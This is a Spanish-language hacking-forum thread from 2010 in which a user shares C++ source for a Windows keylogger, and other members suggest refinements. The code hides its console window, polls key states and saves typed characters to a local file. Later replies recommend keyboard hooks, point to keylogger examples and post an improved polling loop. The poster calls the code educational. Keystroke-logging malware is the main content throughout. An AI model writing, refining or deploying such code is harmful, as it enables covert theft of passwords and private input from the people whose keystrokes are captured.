elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Keylogger en C++
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger en C++  (Leído 7,004 veces)
M3LiNdR1

Desconectado Desconectado

Mensajes: 131



Ver Perfil WWW
Keylogger en C++
« en: 29 Mayo 2010, 14:07 pm »

Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos :).
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

Código
  1. #include <iostream>
  2. #include <windows.h>
  3. using namespace std;
  4.  
  5.  
  6. char keys() {
  7. char c = '/';
  8. if (GetAsyncKeyState('A')) c = 'A';
  9. else if (GetAsyncKeyState('B')) c = 'B';
  10. else if (GetAsyncKeyState('C')) c = 'C';
  11. else if (GetAsyncKeyState('D')) c = 'D';
  12. else if (GetAsyncKeyState('E')) c = 'E';
  13. else if (GetAsyncKeyState('F')) c = 'F';
  14. else if (GetAsyncKeyState('G')) c = 'G';
  15. else if (GetAsyncKeyState('H')) c = 'H';
  16. else if (GetAsyncKeyState('I')) c = 'I';
  17. else if (GetAsyncKeyState('J')) c = 'J';
  18. else if (GetAsyncKeyState('K')) c = 'K';
  19. else if (GetAsyncKeyState('L')) c = 'L';
  20. else if (GetAsyncKeyState('M')) c = 'M';
  21. else if (GetAsyncKeyState('N')) c = 'N';
  22. else if (GetAsyncKeyState('O')) c = 'O';
  23. else if (GetAsyncKeyState('P')) c = 'P';
  24. else if (GetAsyncKeyState('Q')) c = 'Q';
  25. else if (GetAsyncKeyState('R')) c = 'R';
  26. else if (GetAsyncKeyState('S')) c = 'S';
  27. else if (GetAsyncKeyState('T')) c = 'T';
  28. else if (GetAsyncKeyState('U')) c = 'U';
  29. else if (GetAsyncKeyState('V')) c = 'V';
  30. else if (GetAsyncKeyState('W')) c = 'W';
  31. else if (GetAsyncKeyState('X')) c = 'X';
  32. else if (GetAsyncKeyState('Y')) c = 'Y';
  33. else if (GetAsyncKeyState('Z')) c = 'Z';
  34. else if (GetAsyncKeyState('1')) c = '1';
  35. else if (GetAsyncKeyState('2')) c = '2';
  36. else if (GetAsyncKeyState('3')) c = '3';
  37. else if (GetAsyncKeyState('4')) c = '4';
  38. else if (GetAsyncKeyState('5')) c = '5';
  39. else if (GetAsyncKeyState('6')) c = '6';
  40. else if (GetAsyncKeyState('7')) c = '7';
  41. else if (GetAsyncKeyState('8')) c = '8';
  42. else if (GetAsyncKeyState('9')) c = '9';
  43. else if (GetAsyncKeyState('0')) c = '0';
  44. else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
  45. else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
  46. else if (GetAsyncKeyState(VK_BACK)) c = ' ';
  47. return c;
  48. }
  49.  
  50. int main() {
  51. FreeConsole(); //Esconde el terminal
  52. FILE *f;
  53. f = fopen("file.txt","w"); //Crea i abre un archivo
  54. char c = ' ';
  55. while(c != 0x1B) {
  56. c = keys();
  57. if (c != '/') {
  58. fprintf( f , "%c",c); //Escribe el caracter en el archivo
  59. //cout << c;
  60. }
  61. Sleep(120); //Interrumpe el programa durante 120 milisegundos
  62. }
  63. fclose(f);
  64. AllocConsole(); //Muestra el terminal
  65. cout << "FIN DE PROGRAMA :)" << endl;
  66. }

Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!!  :D


En línea

Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript
h0oke


Desconectado Desconectado

Mensajes: 2.059


Coder ~


Ver Perfil WWW
Re: Keylogger en C++
« Respuesta #1 en: 29 Mayo 2010, 14:58 pm »

Hay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.


En línea

Horricreu
Wiki

Desconectado Desconectado

Mensajes: 290

¡La verdad os hará libres!


Ver Perfil WWW
Re: Keylogger en C++
« Respuesta #2 en: 29 Mayo 2010, 21:32 pm »

Es mejor utilizar hooks, te ahorras mucho código y van mejor ;)

Saludos :P
« Última modificación: 26 Octubre 2010, 18:42 pm por Horricreu » En línea

M3LiNdR1

Desconectado Desconectado

Mensajes: 131



Ver Perfil WWW
Re: Keylogger en C++
« Respuesta #3 en: 29 Mayo 2010, 21:57 pm »

Citar
Hay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.

Con una sola llamada? y entonces como lo tratas para cada boton del teclado?



Es mejor utilizar hooks, te ahorras mucho código y va mejor  ;)

Saludos  :P

Que es esto de los hooks???, lo he leído por el foro. Pero no lo entiendo.
En línea

Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript
@synthesize
Wiki

Desconectado Desconectado

Mensajes: 640


Another Brick in the Wall


Ver Perfil WWW
Re: Keylogger en C++
« Respuesta #4 en: 29 Mayo 2010, 22:00 pm »

Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?
En línea

Horricreu
Wiki

Desconectado Desconectado

Mensajes: 290

¡La verdad os hará libres!


Ver Perfil WWW
Re: Keylogger en C++
« Respuesta #5 en: 29 Mayo 2010, 23:22 pm »

Hooks para Windows ;)

Saludos :P

PD: busca en Google, hay muchos ejemplos de keyloggers usando hooks en C/C++.
« Última modificación: 26 Octubre 2010, 18:41 pm por Horricreu » En línea

seba123neo


Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: Keylogger en C++
« Respuesta #6 en: 29 Mayo 2010, 23:25 pm »

Keylogger using window hooks
En línea

M3LiNdR1

Desconectado Desconectado

Mensajes: 131



Ver Perfil WWW
Re: Keylogger en C++
« Respuesta #7 en: 1 Junio 2010, 00:08 am »

Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?

Mmmm....si, he encontrado este proyecto por internet, por si te interesa:
http://sourceforge.net/projects/lkl/



Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)
En línea

Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript
Horricreu
Wiki

Desconectado Desconectado

Mensajes: 290

¡La verdad os hará libres!


Ver Perfil WWW
Re: Keylogger en C++
« Respuesta #8 en: 1 Junio 2010, 18:07 pm »

Sí hay hooks en Java, pero te recomendaría utilizar C/C++ para hacerlo, ya sea por su sencillez (si dominas la API) y sobretodo porque hay muchísima más información en C/C++.


Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)

De nada ::)

Saludos :P
« Última modificación: 1 Septiembre 2010, 19:27 pm por Horricreu » En línea

pizarron

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Keylogger en C++
« Respuesta #9 en: 3 Junio 2010, 09:51 am »

Si todavía queres seguir usando GetAsyncKeyState() podes hacer lo siguiente para los caractéres alfanuméricos:

Código
  1. char keys() {
  2. char c = '/';
  3. for( char key='0'; key<='Z'; key++ ){
  4. if( key<='9' || key>='A' )
  5. if( GetAsyncKeyState(key) ){
  6. c = key;
  7. break;
  8. }
  9. }
  10.  
  11. if( c=='/' ){
  12. if (GetAsyncKeyState(VK_SHIFT)) c = '^';
  13. else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
  14. else if (GetAsyncKeyState(VK_BACK)) c = ' ';
  15. }
  16.  
  17. return c;
  18. }
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines